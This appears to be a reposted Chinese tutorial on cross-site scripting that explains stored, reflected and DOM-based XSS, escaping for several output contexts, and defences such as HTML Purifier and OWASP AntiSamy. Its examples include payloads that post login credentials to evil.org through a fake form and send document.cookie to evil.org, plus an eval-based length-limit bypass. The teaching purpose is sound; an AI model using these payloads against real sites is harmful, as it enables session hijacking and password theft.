破阶

乘风破浪会有时,直挂云帆济沧海

【转】浅谈跨站脚本

什么是XSS?

跨站脚本(Cross-Site Scripting)简称XSS,是指攻击者在有安全缺陷的web页面中注入恶意的代码,通常大部分是javascript脚本,当普通用户浏览该网页时,嵌入其中的恶意脚本被执行。

有什么危害?

1、窃取Cookie,冒充其他用户操作
    2、读取、篡改、添加或删除敏感数据
    3、发送电子邮件
    4、网站钓鱼
    5、DDos攻击

有哪些类型?

粗粒度可以划分为3种类型:

1、存储型(持久型)

2、反射型(非持久型)

3、基于DOM型

例子3-1:存储型XSS样例
在论坛上发表帖子,假设论坛有漏洞,可以在帖子中注入下面的JS内容

<script>

document.body.innerHTML=”<h1>Please Login</h1><form action=http://evil.org/grabpassword.jsp method=post><br>User name:<input type=text name=user><br>Password:<input type=text name=password></p><input type=submit name=login></form>”

</script>

当其他用户浏览该帖子时,就会弹出登录框,如图

《【转】浅谈跨站脚本》

例子3-2:反射型XSS样例
假设一个可信网站http://www.trusted.com/example.jsp?param1=value1&param2=
参数param2存在XSS注入,将param2的内容不加处理的输出到页面上。
攻击者设置

param2=<script>document.write(‘<img src=”http://evil.org?grabcookie.jsp?cookie=’+encodeURI(document.cookie)+'”/>’)</script>

如下的超链接,www.trusted.com这个网站的已登录用户去点击,cookie会被发送到evil.org上去。

http://www.trusted.com/example.jsp?param1=value1&param2=%3Cscript%3Edocument.write(‘%3Cimg%20src=%22http://evil.org?grabcookie.jsp?cookie=’+encodeURI(document.cookie)+’%22/%3E’)%3C/script%3E

 

例子3-3:基于DOM型XSS样例
相比较与Reflected、Stored XSS属于server side execution issues而言,DOM based XSS 是client(browser) side execution issue。
如下面请求的hash部分,由客户端JS动态执行产生XSS注入。
http://www.webapp.com/example.jsp?param1=value1#\u003ciframe onload=alert(‘xss’)\u003e

<body>

   <div id=”m”></div>

   <script>

       var y=location.hash.substring(1);

       document.getElementById(“m”).innerHTML = y;

   </script>

</body>

动态生成

<div id=”m”><iframe onload=”alert(‘xss’)”></iframe></div>

常见的注入方式

1、HTML-Context
用户的输入直接输出到网页上。

<div>用户输入内容</div>

如:<div><script>alert(‘xss’);</script></div>

解决办法:输出转义

需转义的字符 < >
转义成 &lt; &gt; &guot; &apos;

 

安全输出:

<div>&lt;script&gt;alert(&apos;xss&apos;);&lt;/script&gt;</div>

2、HTML-Attribute

<img src=”用户输入内容” />

输入数据:/notfound.jpg” onerror=alert(/xss/);//

得到输出:

<img src=”/notfound.jpg” onerror=”alert(/xss/);//”” />

这里通过闭合双引号,注入onerror事件属性。
解决办法:
对双引号括起来的内容,转义用户输入中的双引号。
对单引号括起来的内容,转义用户输入中的单引号。
安全输出:

<img src=”notfound.jpg&quot; onerror=alert(/xss/);//”>

3、 HTML URL Parameter Values

<a href=”用户输入内容” target=”_blank”>Search</a>

输入数据 http://www.webapp.com/search.jsp?key=” onmouseover=alert(/xss/);//

得到输出:<a href=”http://www.webapp.com/search.jsp?key=” onmouseover=alert(/xss/);//” target=”_blank”>Search</a>

解决办法:

对于URL值的转义,需要使用URL编码,这里不能使用上面例子中的&quot;转义

<a href=”http://www.webapp.com/search.jsp?key=%22%20onmouseover=alert(/xss/);//” target=”_blank”>Search</a>

4、HTML Subcontext within the Execution Context

<script>

   var a = “用户输入内容”;

   document.write(a);

</script>

输入数据:<script>alert(‘XSS’)</script>

如果< >” ‘编码成&lt; &gt; &quot; &apos;了

得到输出

&lt;script&gt;alert(&apos;XSS&apos;)&lt;/script&gt;

但是危险还没有消除

输入: \x3cscript\x3ealert(\x27XSS\x27)\x3c/script\x3e

得到输出:<script>alert(‘XSS’)</script>

解决办法:可以先HTML Escape 再JavaScript Escape

document.write(“<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>”);

element.innerHTML=”<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>”;

5、突破字符数量限制

<script>

   假设这里能注入,但长度受到限制,不能写入丰富JS;

   ……//other code

</script>

<script>

   eval(unescape(x.innerHTML));

   ……//other code

</script>

6、FLASH注入XSS

<embed src=”flash地址” allowscriptaccess=”always”>

AllowScriptAccess参数,它可以用来控制是否允许执行来自swf本身对外脚本。

   always     都允许
   samedomain 只允许同域名下的
   never      都不允许

《【转】浅谈跨站脚本》

上面我们抛砖引玉,举了几个简单的XSS注入样例,在实际的安全检测中,分析人员在会引用外部输入数据的地方尽可能尝试各种注入内容,通过闭合、编码、引用其他安全域数据进行渗透,所以千万不能掉以轻心哦!

开源的XSS防御产品

1、HTML Purifier

HTML Purifier是一个通过白名单方式来移除恶意代码(XSS),并确保你的页面遵循W3C的标准规范的PHP类库。适用于PHP编写web项目。
简单的使用

require_once ‘/path/to/HTMLPurifier.auto.php’;

$config = HTMLPurifier_Config::createDefault();

$purifier = new HTMLPurifier($config);

$clean_html = $purifier->purify($dirty_html);

产品主页:http://htmlpurifier.org/

2、OWASP AntiSamy Project

提供用于验证用户输入的富文本以防御跨站脚本的API。适用于java编写web项目。它提供了一些标准策略文件,根据自己产品的实际需求,在此基础上配置一份适合自己产品的策略文件。
   antisamy-tinymce-X.X.X.xml
   antisamy-slashdot-X.X.X.xml
   antisamy-ebay-X.X.X.xml
   antisamy-myspace-X.X.X.xml
   antisamy-anythinggoes-X.X.X.xml

简单的使用

import org.owasp.validator.html.*;

Policy policy = Policy.getInstance(POLICY_FILE_LOCATION);

AntiSamy as = new AntiSamy();

CleanResults cr = as.scan(dirtyInput, policy);

产品主页:https://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project

来自网易安全中心:https://aq.163.com/module/pedia/article-00016.html

点赞

2003年你错过了淘宝红利,2009年你错过了微博红利,2013年你错过了公众号红利,2018年你错过了抖音红利,2020年的视频号红利,你绝对不能再错过!扫码进行学习。

发表评论

邮箱地址不会被公开。 必填项已用*标注